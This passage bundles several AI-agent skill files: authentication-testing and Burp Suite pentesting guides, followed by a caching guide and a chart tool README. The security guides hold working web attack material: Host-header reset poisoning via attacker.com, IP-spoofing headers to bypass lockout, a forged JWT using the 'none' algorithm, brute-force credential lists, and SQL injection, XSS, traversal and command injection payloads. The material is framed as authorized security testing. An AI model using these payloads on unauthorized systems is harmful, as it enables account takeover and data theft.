security:\n\n```bash\n# Token security\n1. Request password reset\n2. Capture reset link\n3. Analyze token:\n   - Length and randomness\n   - Expiration time\n   - Single-use enforcement\n   - Account binding\n\n# Token manipulation\nhttps://target.com/reset?token=abc123&user=victim\n# Try changing user parameter while using valid token\n\n# Host header injection\nPOST /forgot-password HTTP/1.1\nHost: attacker.com\nemail=victim@email.com\n# Reset email may contain attacker's domain\n```\n\n## Quick Reference\n\n### Common Vulnerability Types\n\n| Vulnerability | Risk | Test Method |\n|--------------|------|-------------|\n| Weak passwords | High | Policy testing, dictionary attack |\n| No lockout | High | Brute force testing |\n| Username enumeration | Medium | Differential response analysis |\n| Session fixation | High | Pre/post-login session comparison |\n| Weak session tokens | High | Entropy analysis |\n| No session timeout | Medium | Long-duration session testing |\n| Insecure password reset | High | Token analysis, workflow bypass |\n| MFA bypass | Critical | Direct access, response manipulation |\n\n### Credential Testing Payloads\n\n```bash\n# Default credentials\nadmin:admin\nadmin:password\nadmin:123456\nroot:root\ntest:test\nuser:user\n\n# Common passwords\n123456\npassword\n12345678\nqwerty\nabc123\npassword1\nadmin123\n\n# Breached credential databases\n- Have I Been Pwned dataset\n- SecLists passwords\n- Custom targeted lists\n```\n\n### Session Cookie Flags\n\n| Flag | Purpose | Vulnerability if Missing |\n|------|---------|------------------------|\n| HttpOnly | Prevent JS access | XSS can steal session |\n| Secure | HTTPS only | Sent over HTTP |\n| SameSite | CSRF protection | Cross-site requests allowed |\n| Path | URL scope | Broader exposure |\n| Domain | Domain scope | Subdomain access |\n| Expires | Lifetime | Persistent sessions |\n\n### Rate Limiting Bypass Headers\n\n```http\nX-Forwarded-For: 127.0.0.1\nX-Real-IP: 127.0.0.1\nX-Originating-IP: 127.0.0.1\nX-Client-IP: 127.0.0.1\nX-Remote-IP: 127.0.0.1\nTrue-Client-IP: 127.0.0.1\n```\n\n## Constraints and Limitations\n\n### Legal Requirements\n- Only test with explicit written authorization\n- Avoid testing with real breached credentials\n- Do not access actual user accounts\n- Document all testing activities\n\n### Technical Limitations\n- CAPTCHA may prevent automated testing\n- Rate limiting affects brute force timing\n- MFA significantly increases attack difficulty\n- Some vulnerabilities require victim interaction\n\n### Scope Considerations\n- Test accounts may behave differently than production\n- Some features may be disabled in test environments\n- Third-party authentication may be out of scope\n- Production testing requires extra caution\n\n## Examples\n\n### Example 1: Account Lockout Bypass\n\n**Scenario:** Test if account lockout can be bypassed\n\n```bash\n# Step 1: Identify lockout threshold\n# Try 5 wrong passwords for admin account\n# Result: \"Account locked for 30 minutes\"\n\n# Step 2: Test bypass via IP rotation\n# Use X-Forwarded-For header\nPOST /login HTTP/1.1\nX-Forwarded-For: 192.168.1.1\nusername=admin&password=attempt1\n\n# Increment IP for each attempt\nX-Forwarded-For: 192.168.1.2\n# Continue until successful or confirmed blocked\n\n# Step 3: Test bypass via case manipulation\nusername=Admin (vs admin)\nusername=ADMIN\n# Some systems treat these as different accounts\n```\n\n### Example 2: JWT Token Attack\n\n**Scenario:** Exploit weak JWT implementation\n\n```bash\n# Step 1: Capture JWT token\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.signature\n\n# Step 2: Decode and analyze\n# Header: {\"alg\":\"HS256\",\"typ\":\"JWT\"}\n# Payload: {\"user\":\"test\",\"role\":\"user\"}\n\n# Step 3: Try \"none\" algorithm attack\n# Change header to: {\"alg\":\"none\",\"typ\":\"JWT\"}\n# Remove signature\neyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.\n\n# Step 4: Submit modified token\nAuthorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.\n```\n\n### Example 3: Password Reset Token Exploitation\n\n**Scenario:** Test password reset functionality\n\n```bash\n# Step 1: Request reset for test account\nPOST /forgot-password\nemail=test@example.com\n\n# Step 2: Capture reset link\nhttps://target.com/reset?token=a1b2c3d4e5f6\n\n# Step 3: Test token properties\n# Reuse: Try using same token twice\n# Expiration: Wait 24+ hours and retry\n# Modification: Change characters in token\n\n# Step 4: Test for user parameter manipulation\nhttps://target.com/reset?token=a1b2c3d4e5f6&email=admin@example.com\n# Check if admin's password can be reset with test user's token\n```\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| Brute force too slow | Identify rate limit scope; IP rotation; add delays; use targeted wordlists |\n| Session analysis inconclusive | Collect 1000+ tokens; use statistical tools; check for timestamps; compare accounts |\n| MFA cannot be bypassed | Document as secure; test backup/recovery mechanisms; check MFA fatigue; verify enrollment |\n| Account lockout prevents testing | Request multiple test accounts; test threshold first; use slower timing |\n","skills/burp-suite-testing/SKILL.md":"---\nname: burp-suite-testing\ndescription: This skill should be used when the user asks to \"intercept HTTP traffic\", \"modify web requests\", \"use Burp Suite for testing\", \"perform web vulnerability scanning\", \"test with Burp Repeater\", \"analyze HTTP history\", or \"configure proxy for web testing\". It provides comprehensive guidance for using Burp Suite's core features for web application security testing.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# Burp Suite Web Application Testing\n\n## Purpose\n\nExecute comprehensive web application security testing using Burp Suite's integrated toolset, including HTTP traffic interception and modification, request analysis and replay, automated vulnerability scanning, and manual testing workflows. This skill enables systematic discovery and exploitation of web application vulnerabilities through proxy-based testing methodology.\n\n## Inputs / Prerequisites\n\n### Required Tools\n- Burp Suite Community or Professional Edition installed\n- Burp's embedded browser or configured external browser\n- Target web application URL\n- Valid credentials for authenticated testing (if applicable)\n\n### Environment Setup\n- Burp Suite launched with temporary or named project\n- Proxy listener active on 127.0.0.1:8080 (default)\n- Browser configured to use Burp proxy (or use Burp's browser)\n- CA certificate installed for HTTPS interception\n\n### Editions Comparison\n| Feature | Community | Professional |\n|---------|-----------|--------------|\n| Proxy | ✓ | ✓ |\n| Repeater | ✓ | ✓ |\n| Intruder | Limited | Full |\n| Scanner | ✗ | ✓ |\n| Extensions | ✓ | ✓ |\n\n## Outputs / Deliverables\n\n### Primary Outputs\n- Intercepted and modified HTTP requests/responses\n- Vulnerability scan reports with remediation advice\n- HTTP history and site map documentation\n- Proof-of-concept exploits for identified vulnerabilities\n\n## Core Workflow\n\n### Phase 1: Intercepting HTTP Traffic\n\n#### Launch Burp's Browser\nNavigate to integrated browser for seamless proxy integration:\n\n1. Open Burp Suite and create/open project\n2. Go to **Proxy > Intercept** tab\n3. Click **Open Browser** to launch preconfigured browser\n4. Position windows to view both Burp and browser simultaneously\n\n#### Configure Interception\nControl which requests are captured:\n\n```\nProxy > Intercept > Intercept is on/off toggle\n\nWhen ON: Requests pause for review/modification\nWhen OFF: Requests pass through, logged to history\n```\n\n#### Intercept and Forward Requests\nProcess intercepted traffic:\n\n1. Set intercept toggle to **Intercept on**\n2. Navigate to target URL in browser\n3. Observe request held in Proxy > Intercept tab\n4. Review request contents (headers, parameters, body)\n5. Click **Forward** to send request to server\n6. Continue forwarding subsequent requests until page loads\n\n#### View HTTP History\nAccess complete traffic log:\n\n1. Go to **Proxy > HTTP history** tab\n2. Click any entry to view full request/response\n3. Sort by clicking column headers (# for chronological order)\n4. Use filters to focus on relevant traffic\n\n### Phase 2: Modifying Requests\n\n#### Intercept and Modify\nChange request parameters before forwarding:\n\n1. Enable interception: **Intercept on**\n2. Trigger target request in browser\n3. Locate parameter to modify in intercepted request\n4. Edit value directly in request editor\n5. Click **Forward** to send modified request\n\n#### Common Modification Targets\n| Target | Example | Purpose |\n|--------|---------|---------|\n| Price parameters | `price=1` | Test business logic |\n| User IDs | `userId=admin` | Test access control |\n| Quantity values | `qty=-1` | Test input validation |\n| Hidden fields | `isAdmin=true` | Test privilege escalation |\n\n#### Example: Price Manipulation\n\n```http\nPOST /cart HTTP/1.1\nHost: target.com\nContent-Type: application/x-www-form-urlencoded\n\nproductId=1&quantity=1&price=100\n\n# Modify to:\nproductId=1&quantity=1&price=1\n```\n\nResult: Item added to cart at modified price.\n\n### Phase 3: Setting Target Scope\n\n#### Define Scope\nFocus testing on specific target:\n\n1. Go to **Target > Site map**\n2. Right-click target host in left panel\n3. Select **Add to scope**\n4. When prompted, click **Yes** to exclude out-of-scope traffic\n\n#### Filter by Scope\nRemove noise from HTTP history:\n\n1. Click display filter above HTTP history\n2. Select **Show only in-scope items**\n3. History now shows only target site traffic\n\n#### Scope Benefits\n- Reduces clutter from third-party requests\n- Prevents accidental testing of out-of-scope sites\n- Improves scanning efficiency\n- Creates cleaner reports\n\n### Phase 4: Using Burp Repeater\n\n#### Send Request to Repeater\nPrepare request for manual testing:\n\n1. Identify interesting request in HTTP history\n2. Right-click request and select **Send to Repeater**\n3. Go to **Repeater** tab to access request\n\n#### Modify and Resend\nTest different inputs efficiently:\n\n```\n1. View request in Repeater tab\n2. Modify parameter values\n3. Click Send to submit request\n4. Review response in right panel\n5. Use navigation arrows to review request history\n```\n\n#### Repeater Testing Workflow\n\n```\nOriginal Request:\nGET /product?productId=1 HTTP/1.1\n\nTest 1: productId=2    → Valid product response\nTest 2: productId=999  → Not Found response  \nTest 3: productId='    → Error/exception response\nTest 4: productId=1 OR 1=1 → SQL injection test\n```\n\n#### Analyze Responses\nLook for indicators of vulnerabilities:\n\n- Error messages revealing stack traces\n- Framework/version information disclosure\n- Different response lengths indicating logic flaws\n- Timing differences suggesting blind injection\n- Unexpected data in responses\n\n### Phase 5: Running Automated Scans\n\n#### Launch New Scan\nInitiate vulnerability scanning (Professional only):\n\n1. Go to **Dashboard** tab\n2. Click **New scan**\n3. Enter target URL in **URLs to scan** field\n4. Configure scan settings\n\n#### Scan Configuration Options\n\n| Mode | Description | Duration |\n|------|-------------|----------|\n| Lightweight | High-level overview | ~15 minutes |\n| Fast | Quick vulnerability check | ~30 minutes |\n| Balanced | Standard comprehensive scan | ~1-2 hours |\n| Deep | Thorough testing | Several hours |\n\n#### Monitor Scan Progress\nTrack scanning activity:\n\n1. View task status in **Dashboard**\n2. Watch **Target > Site map** update in real-time\n3. Check **Issues** tab for discovered vulnerabilities\n\n#### Review Identified Issues\nAnalyze scan findings:\n\n1. Select scan task in Dashboard\n2. Go to **Issues** tab\n3. Click issue to view:\n   - **Advisory**: Description and remediation\n   - **Request**: Triggering HTTP request\n   - **Response**: Server response showing vulnerability\n\n### Phase 6: Intruder Attacks\n\n#### Configure Intruder\nSet up automated attack:\n\n1. Send request to Intruder (right-click > Send to Intruder)\n2. Go to **Intruder** tab\n3. Define payload positions using § markers\n4. Select attack type\n\n#### Attack Types\n\n| Type | Description | Use Case |\n|------|-------------|----------|\n| Sniper | Single position, iterate payloads | Fuzzing one parameter |\n| Battering ram | Same payload all positions | Credential testing |\n| Pitchfork | Parallel payload iteration | Username:password pairs |\n| Cluster bomb | All payload combinations | Full brute force |\n\n#### Configure Payloads\n\n```\nPositions Tab:\nPOST /login HTTP/1.1\n...\nusername=§admin§&password=§password§\n\nPayloads Tab:\nSet 1: admin, user, test, guest\nSet 2: password, 123456, admin, letmein\n```\n\n#### Analyze Results\nReview attack output:\n\n- Sort by response length to find anomalies\n- Filter by status code for successful attempts\n- Use grep to search for specific strings\n- Export results for documentation\n\n## Quick Reference\n\n### Keyboard Shortcuts\n| Action | Windows/Linux | macOS |\n|--------|---------------|-------|\n| Forward request | Ctrl+F | Cmd+F |\n| Drop request | Ctrl+D | Cmd+D |\n| Send to Repeater | Ctrl+R | Cmd+R |\n| Send to Intruder | Ctrl+I | Cmd+I |\n| Toggle intercept | Ctrl+T | Cmd+T |\n\n### Common Testing Payloads\n\n```\n# SQL Injection\n' OR '1'='1\n' OR '1'='1'--\n1 UNION SELECT NULL--\n\n# XSS\n<script>alert(1)</script>\n\"><img src=x onerror=alert(1)>\njavascript:alert(1)\n\n# Path Traversal\n../../../etc/passwd\n..\\..\\..\\..\\windows\\win.ini\n\n# Command Injection\n; ls -la\n| cat /etc/passwd\n`whoami`\n```\n\n### Request Modification Tips\n- Right-click for context menu options\n- Use decoder for encoding/decoding\n- Compare requests using Comparer tool\n- Save interesting requests to project\n\n## Constraints and Guardrails\n\n### Operational Boundaries\n- Test only authorized applications\n- Configure scope to prevent accidental out-of-scope testing\n- Rate-limit scans to avoid denial of service\n- Document all findings and actions\n\n### Technical Limitations\n- Community Edition lacks automated scanner\n- Some sites may block proxy traffic\n- HSTS/certificate pinning may require additional configuration\n- Heavy scanning may trigger WAF blocks\n\n### Best Practices\n- Always set target scope before extensive testing\n- Use Burp's browser for reliable interception\n- Save project regularly to preserve work\n- Review scan results manually for false positives\n\n## Examples\n\n### Example 1: Business Logic Testing\n\n**Scenario**: E-commerce price manipulation\n\n1. Add item to cart normally, intercept request\n2. Identify `price=9999` parameter in POST body\n3. Modify to `price=1`\n4. Forward request\n5. Complete checkout at manipulated price\n\n**Finding**: Server trusts client-provided price values.\n\n### Example 2: Authentication Bypass\n\n**Scenario**: Testing login form\n\n1. Submit valid credentials, capture request in Repeater\n2. Send to Repeater for testing\n3. Try: `username=admin' OR '1'='1'--`\n4. Observe successful login response\n\n**Finding**: SQL injection in authentication.\n\n### Example 3: Information Disclosure\n\n**Scenario**: Error-based information gathering\n\n1. Navigate to product page, observe `productId` parameter\n2. Send request to Repeater\n3. Change `productId=1` to `productId=test`\n4. Observe verbose error revealing framework version\n\n**Finding**: Apache Struts 2.5.12 disclosed in stack trace.\n\n## Troubleshooting\n\n### Browser Not Connecting Through Proxy\n- Verify proxy listener is active (Proxy > Options)\n- Check browser proxy settings point to 127.0.0.1:8080\n- Ensure no firewall blocking local connections\n- Use Burp's embedded browser for reliable setup\n\n### HTTPS Interception Failing\n- Install Burp CA certificate in browser/system\n- Navigate to http://burp to download certificate\n- Add certificate to trusted roots\n- Restart browser after installation\n\n### Slow Performance\n- Limit scope to reduce processing\n- Disable unnecessary extensions\n- Increase Java heap size in startup options\n- Close unused Burp tabs and features\n\n### Requests Not Being Intercepted\n- Verify \"Intercept on\" is enabled\n- Check intercept rules aren't filtering target\n- Ensure browser is using Burp proxy\n- Verify target isn't using unsupported protocol\n","skills/caching/SKILL.md":"---\nname: caching\ndescription: Caching strategies — invalidation, TTL guidelines, cache keys, cache layers, and when not to cache. Use when implementing or reviewing caching logic.\n---\n## WHEN_TO_USE\n\n- When implementing a cache layer (in-memory, Redis, CDN) for an API or service.\n- When choosing TTL values or invalidation strategies for cached data.\n- When designing cache key schemas to avoid collisions or stale-data bugs.\n- When reviewing code that reads from or writes to any cache.\n- When debugging stale data, cache stampedes, or inconsistent responses.\n- When configuring TanStack Query `staleTime`/`gcTime` for client-side caching.\n\n## INVALIDATION\n\n- [P0-MUST] Define an invalidation strategy for every cache. Stale data is worse than no cache.\n- [P0-MUST] Invalidate caches when the underlying data changes — do not rely solely on TTL expiry.\n- [P1-SHOULD] Prefer event-driven invalidation (on write/update/delete) over time-based expiry alone.\n- [P1-SHOULD] Use cache versioning (include a version key) when data schemas change.\n\n## TTL_GUIDELINES\n\n- [P1-SHOULD] Set TTLs based on data volatility: static config (hours/days), user profiles (minutes), real-time data (seconds or no cache).\n- [P1-SHOULD] Use stale-while-revalidate: serve stale data immediately while refreshing in the background.\n- [P2-MAY] Use shorter TTLs in development and longer TTLs in production.\n\n## CACHE_KEYS\n\n- [P0-MUST] Include all query parameters that affect the result in the cache key.\n- [P1-SHOULD] Use a consistent key format: `<entity>:<id>:<variant>` (e.g., `user:123:profile`, `products:list:page=2`).\n- [P1-SHOULD] Namespace keys by service or module to prevent collisions.\n- [P2-MAY] Hash long or complex keys to keep storage efficient.\n\n## CACHE_LAYERS\n\n- [P1-SHOULD] Use the appropriate cache layer for the use case:\n\n| Layer | Best For | TTL Range |\n|-------|----------|-----------|\n| In-memory (Map, LRU) | Hot data, single-instance apps | Seconds to minutes |\n| Redis / Memcached | Shared cache across instances, sessions | Minutes to hours |\n| CDN / Edge | Static assets, public API responses | Hours to days |\n| HTTP cache headers | Browser caching, API responses | Varies by resource |\n\n- [P1-SHOULD] Layer caches: check memory → Redis → origin. Write-through on miss.\n\n## WHEN_NOT_TO_CACHE\n\n- [P0-MUST] Do not cache user-specific sensitive data (auth tokens, payment info) in shared caches.\n- [P1-SHOULD] Do not cache rapidly changing data where staleness causes incorrect behavior (inventory counts, real-time pricing).\n- [P1-SHOULD] Do not cache error responses — use short TTL or skip caching on failure.\n- [P2-MAY] Avoid caching when the computation is cheap and the data set is small.\n\n## CODE_EXAMPLES\n\n### In-memory LRU cache with TTL\n\n```ts\nconst cache = new Map<string, { value: unknown; expires: number }>();\nconst MAX_SIZE = 500;\n\nexport function getOrSet<T>(key: string, ttlMs: number, compute: () => T): T {\n  const entry = cache.get(key);\n  if (entry && entry.expires > Date.now()) return entry.value as T;\n\n  const value = compute();\n  if (cache.size >= MAX_SIZE) {\n    // Evict oldest entry (first inserted)\n    const oldest = cache.keys().next().value!;\n    cache.delete(oldest);\n  }\n  cache.set(key, { value, expires: Date.now() + ttlMs });\n  return value;\n}\n```\n\n### Redis stale-while-revalidate with ioredis\n\n```ts\nimport Redis from \"ioredis\";\nconst redis = new Redis(process.env.REDIS_URL);\n\nexport async function swr<T>(\n  key: string,\n  freshSec: number,\n  staleSec: number,\n  fetcher: () => Promise<T>,\n): Promise<T> {\n  const raw = await redis.get(key);\n  if (raw) {\n    const { value, createdAt } = JSON.parse(raw) as { value: T; createdAt: number };\n    const ageMs = Date.now() - createdAt;\n    if (ageMs < freshSec * 1000) return value; // Fresh — return immediately\n    if (ageMs < staleSec * 1000) {\n      // Stale — return cached, refresh in background\n      fetcher().then((v) =>\n        redis.set(key, JSON.stringify({ value: v, createdAt: Date.now() }), \"EX\", staleSec),\n      );\n      return value;\n    }\n  }\n  const value = await fetcher();\n  await redis.set(key, JSON.stringify({ value, createdAt: Date.now() }), \"EX\", staleSec);\n  return value;\n}\n```\n\n### HTTP cache headers in Express/Hono\n\n```ts\n// Immutable assets (hashed filenames)\napp.use(\"/assets\", (_, res, next) => {\n  res.setHeader(\"Cache-Control\", \"public, max-age=31536000, immutable\");\n  next();\n});\n\n// API responses — short cache with revalidation\napp.get(\"/api/products\", (_, res) => {\n  res.setHeader(\"Cache-Control\", \"public, max-age=60, stale-while-revalidate=300\");\n  res.json(products);\n});\n```\n\n### TanStack Query cache configuration\n\n```tsx\nimport { QueryClient, QueryClientProvider } from \"@tanstack/react-query\";\n\nconst queryClient = new QueryClient({\n  defaultOptions: {\n    queries: {\n      staleTime: 5 * 60 * 1000, // Data fresh for 5 minutes\n      gcTime: 30 * 60 * 1000,   // Garbage-collect after 30 minutes\n      retry: 2,\n      refetchOnWindowFocus: false,\n    },\n  },\n});\n\n// Usage in a component\nconst { data } = useQuery({\n  queryKey: [\"products\", { page, category }], // Cache key includes params\n  queryFn: () => fetchProducts({ page, category }),\n});\n```\n\n## ANTI_PATTERNS\n\n- **Cache-and-forget** — Caching data with no invalidation strategy. Data goes stale permanently.\n  - Instead: define explicit invalidation (event-driven on write, or bounded TTL) for every cache key.\n\n- **Uniform TTL** — Using the same TTL (e.g., 1 hour) for all data regardless of volatility.\n  - Instead: match TTL to data change frequency — seconds for prices, minutes for profiles, hours for configs.\n\n- **Missing key parameters** — Cache key omits user ID, locale, or query params, serving wrong data.\n  - Instead: include every parameter that affects the result: `products:list:page=2:locale=en`.\n\n- **Caching errors** — Storing error responses (500s, timeouts) with long TTLs.\n  - Instead: skip caching on failure, or use a very short TTL (5-10 seconds) to allow fast retry.\n\n- **Cache stampede** — All instances hit the origin simultaneously when a popular key expires.\n  - Instead: use stale-while-revalidate, jittered TTLs, or a mutex lock to let one instance refresh.\n","skills/chart-image/README.md":"# 📊 chart-image\n\n**Publication-quality chart images from data. No browser, no Puppeteer, no native compilation.**\n\nGenerate beautiful PNG charts directly from JSON data — perfect for bots, dashboards, alerts, and automated reports. Runs anywhere Node.js runs.\n\n![Line chart example](readme-assets/framed-line.png)\n\n## Why chart-image?\n\nMost chart libraries need a browser (Puppeteer, Playwright) or native dependencies (`canvas`, `cairo`). That means 400MB+ installs, painful Docker builds, and slow cold starts.\n\n**chart-image uses Vega-Lite + Sharp with prebuilt binaries:**\n\n| | chart-image | Puppeteer + Chart.js | QuickChart.io |\n|---|---|---|---|\n| **Install size** | ~15MB | ~400MB+ | 0 (API) |\n| **Native deps** | None | Chromium | N/A |\n| **Cold start** | <500ms | 2-5s | Network latency |\n| **Offline** | ✅ | ✅ | ❌ |\n| **Fly.io/Docker** | Just works | Pain | Depends on uptime |\n\n## Install\n\n### Via ClawHub (recommended)\n```bash\nclawhub install chart-image\n```\n\n### Manual\n```bash\ngit clone https://github.com/Cluka-399/chart-image.git skills/chart-image\ncd skills/chart-image/scripts && npm install\n```\n\n## Quick Start\n\n```bash\nnode scripts/chart.mjs \\\n  --type line \\\n  --data '[{\"x\":\"Mon\",\"y\":10},{\"x\":\"Tue\",\"y\":25},{\"x\":\"Wed\",\"y\":18}]' \\\n  --title \"Weekly Trend\" \\\n  --dark \\\n  --output chart.png\n```\n\nThat's it. One command, one PNG.\n\n---\n\n## Chart Types\n\n### 📈 Line Chart\n\nTrack trends over time. The default chart type.\n\n```bash\nnode scripts/chart.mjs --type line \\\n  --data '[{\"x\":\"Mon\",\"y\":142},{\"x\":\"Tue\",\"y\":148},{\"x\":\"Wed\",\"y\":145},{\"x\":\"Thu\",\"y\":155},{\"x\":\"Fri\",\"y\":162}]' \\\n  --title \"AAPL Weekly Price\" --y-title \"Price (USD)\" \\\n  --dark --show-values --output chart.png\n```\n\n![Line chart](readme-assets/framed-line.png)\n\n### 📊 Bar Chart\n\nCompare categories side by side.\n\n```bash\nnode scripts/chart.mjs --type bar \\\n  --data '[{\"x\":\"React\",\"y\":45},{\"x\":\"Vue\",\"y\":28},{\"x\":\"Svelte\",\"y\":15},{\"x\":\"Angular\",\"y\":12}]' \\\n  --title \"Framework Usage %\" --output chart.png\n```\n\n![Bar chart](readme-assets/framed-bar.png)\n\n### 🌊 Area Chart\n\nLike line charts, but with filled regions to emphasize volume.\n\n```bash\nnode scripts/chart.mjs --type area \\\n  --data '[{\"x\":\"Jan\",\"y\":100},{\"x\":\"Feb\",\"y\":250},{\"x\":\"Mar\",\"y\":180},{\"x\":\"Apr\",\"y\":420},{\"x\":\"May\",\"y\":380},{\"x\":\"Jun\",\"y\":520}]' \\\n  --title \"Monthly Signups\" --dark --output chart.png\n```\n\n![Area chart](readme-assets/framed-area.png)\n\n### 🍩 Donut / Pie Chart\n\nShow proportions at a glance. Use `--type pie` for a solid circle or `--type donut` for the ring style.\n\n```bash\nnode scripts/chart.mjs --type donut \\\n  --data '[{\"x\":\"Desktop\",\"y\":58},{\"x\":\"Mobile\",\"y\":35},{\"x\":\"Tablet\",\"y\":7}]' \\\n  --title \"Traffic by Device\" --dark --output chart.png\n```\n\n![Donut chart](readme-assets/framed-donut.png)\n\n### 📉 Multi-Series Line\n\nCompare multiple trends on one chart using `--series-field`.\n\n```bash\nnode scripts/chart.mjs --type line \\\n  --data '[{\"x\":\"Q1\",\"y\":30,\"series\":\"2024\"},{\"x\":\"Q2\",\"y\":45,\"series\":\"2024\"},{\"x\":\"Q3\",\"y\":52,\"series\":\"2024\"},{\"x\":\"Q4\",\"y\":61,\"series\":\"2024\"},{\"x\":\"Q1\",\"y\":40,\"series\":\"2025\"},{\"x\":\"Q2\",\"y\":58,\"series\":\"2025\"},{\"x\":\"Q3\",\"y\":72,\"series\":\"2025\"}]' \\\n  --title \"Revenue Growth\" --y-title \"Revenue ($M)\" \\\n  --series-field series --dark --legend top --output chart.png\n```\n\n![Multi-series chart](readme-assets/framed-multi.png)\n\n### 📏 Horizontal Reference Lines\n\nAdd thresholds, targets, or buy prices with `--hline`.\n\n```bash\nnode scripts/chart.mjs --type line \\\n  --data '[{\"x\":\"Jan 1\",\"y\":0.00072},{\"x\":\"Jan 5\",\"y\":0.00085},{\"x\":\"Jan 10\",\"y\":0.00091},{\"x\":\"Jan 15\",\"y\":0.00078},{\"x\":\"Jan 20\",\"y\":0.00062},{\"x\":\"Jan 25\",\"y\":0.00071}]' \\\n  --title \"Token Price\" --y-title \"Price (USD)\" \\\n  --dark --show-values --hline \"0.0008,#e63946,Buy Price\" --output chart.png\n```\n\n![Reference line chart](readme-assets/framed-hline.png)\n\n### 🎨 Conditional Colors\n\nColor bars/points based on a threshold — great for KPI dashboards.\n\n```bash\nnode scripts/chart.mjs --type bar \\\n  --data '[{\"month\":\"Jan\",\"score\":72},{\"month\":\"Feb\",\"score\":45},{\"month\":\"Mar\",\"score\":38},{\"month\":\"Apr\",\"score\":61},{\"month\":\"May\",\"score\":29},{\"month\":\"Jun\",\"score\":55},{\"month\":\"Jul\",\"score\":82},{\"month\":\"Aug\",\"score\":47},{\"month\":\"Sep\",\"score\":68},{\"month\":\"Oct\",\"score\":34},{\"month\":\"Nov\",\"score\":76},{\"month\":\"Dec\",\"score\":91}]' \\\n  --x-field month --y-field score --x-sort none \\\n  --conditional-color \"50,#e63946,#2a9d8f\" --hline \"50,#888,Target\" \\\n  --title \"Monthly Performance Score\" --subtitle \"Target: 50\" --dark\n```\n\n![Conditional color chart](readme-assets/framed-conditional.png)\n\n### ↔️ Horizontal Bar Charts\n\nFlip axes for leaderboards, rankings, or long category names.\n\n```bash\nnode scripts/chart.mjs --type bar \\\n  --data '[{\"lang\":\"Python\",\"stars\":95},{\"lang\":\"JavaScript\",\"stars\":82},{\"lang\":\"TypeScript\",\"stars\":78},{\"lang\":\"Rust\",\"stars\":71},{\"lang\":\"Go\",\"stars\":63},{\"lang\":\"Java\",\"stars\":58},{\"lang\":\"C++\",\"stars\":45},{\"lang\":\"Swift\",\"stars\":38}]' \\\n  --x-field lang --y-field stars --horizontal --sort desc \\\n  --conditional-color \"60,#e63946,#2a9d8f\" --bar-labels \\\n  --title \"GitHub Stars by Language\" --dark\n```\n\n![Horizontal bar chart](readme-assets/framed-horizontal-bar.png)\n\n### More Chart Types\n\n- **`point`** — Scatter plot\n- **`candlestick`** — OHLC financial charts (`--open-field`, `--high-field`, `--low-field`, `--close-field`)\n- **`heatmap`** — Grid visualization (`--color-value-field`, `--color-scheme viridis`)\n- **Stacked bars** — `--type bar --stacked --color-field category`\n- **Volume overlay** — Dual Y-axis with `--volume-field`\n- **Sparkline** — Tiny inline charts with `--sparkline` (80×20, no axes)\n\n---\n\n## Shorthand Syntax\n\nDon't want to write JSON? Use the shorthand format:\n\n```bash\nnode scripts/chart.mjs --type bar \\\n  --data \"Mon:10,Tue:25,Wed:18,Thu:30,Fri:22,Sat:35,Sun:28\" \\\n  --title \"Weekly Activity\" --dark --output chart.png\n```\n\n![Shorthand example](readme-assets/framed-shorthand.png)\n\nFormat: `label:value,label:value,...`\n\n---\n\n## Dark Mode & Light Mode\n\nUse `--dark` for dark backgrounds (great for Discord, Slack, dark dashboards):\n\n![Dark mode](readme-assets/framed-horizontal.png)\n\nOmit `--dark` for light mode (reports, emails, light UIs):\n\n![Light mode](readme-assets/framed-bar.png)\n\n**Tip for bots:** Auto-switch based on time of day — `--dark` between 20:00–07:00.\n\n---\n\n## Alert-Style Charts\n\nBuilt-in options for monitoring and alerting use cases:\n\n```bash\nnode scripts/chart.mjs --type line --data '[...]' \\\n  --title \"Iran Strike Odds (48h)\" \\\n  --show-change --focus-change --show-values --dark \\\n  --output alert.png\n```\n\n| Flag | Effect |\n|------|--------|\n| `--show-change` | Annotates % change from first to last value |\n| `--focus-change` | Zooms Y-axis to 2× data range for drama |\n| `--focus-recent N` | Shows only the last N data points |\n| `--show-values` | Labels min/max peaks on the chart |\n\n---\n\n## Piping Data\n\nRead from stdin:\n\n```bash\ncurl -s api.example.com/metrics | node scripts/chart.mjs --type line --dark --output metrics.png\necho '[{\"x\":\"A\",\"y\":1},{\"x\":\"B\",\"y\":2}]' | node scripts/chart.mjs --output out.png\n```\n\n---\n\n## Options Reference\n\n### Core\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--type` | `line`, `bar`, `area`, `point`, `pie`, `donut`, `candlestick`, `heatmap` | `line` |\n| `--data` | JSON array or shorthand `key:val,...` | stdin |\n| `--output` | Output file path | `chart.png` |\n| `--title` | Chart title | — |\n| `--subtitle` | Subtitle below title | — |\n| `--width` | Width in px | `600` |\n| `--height` | Height in px | `300` |\n| `--dark` | Dark theme | `false` |\n| `--svg` | Output SVG instead of PNG | `false` |\n\n### Axes\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--x-field` | X axis field name | `x` |\n| `--y-field` | Y axis field name | `y` |\n| `--x-title` / `--y-title` | Axis labels | field name |\n| `--x-type` | `ordinal`, `temporal`, `quantitative` | `ordinal` |\n| `--y-domain` | Y range as `\"min,max\"` | auto |\n| `--y-format` | `percent`, `dollar`, `compact`, `decimal4`, `integer`, `scientific` | auto |\n\n### Styling\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--color` | Primary color | `#e63946` |\n| `--color-scheme` | Vega scheme (e.g. `viridis`, `category10`) | — |\n| `--no-grid` | Remove gridlines | `false` |\n| `--legend` | `top`, `bottom`, `left`, `right`, `none` | — |\n| `--hline` | Reference line: `\"value,color,label\"` (repeatable) | — |\n\n### Multi-Series\n| Option | Description |\n|--------|-------------|\n| `--series-field` | Field to split into multiple lines |\n| `--stacked` | Stack bars/areas |\n| `--color-field` | Field for color encoding |\n\n### Annotations\n| Option | Description |\n|--------|-------------|\n| `--show-change` | Show % change annotation |\n| `--focus-change` | Zoom Y to highlight change |\n| `--focus-recent N` | Show last N points only |\n| `--show-values` | Label min/max peaks |\n| `--annotations` | JSON array of event markers: `[{\"x\":\"14:00\",\"label\":\"News\"}]` |\n\n---\n\n## Y-Axis 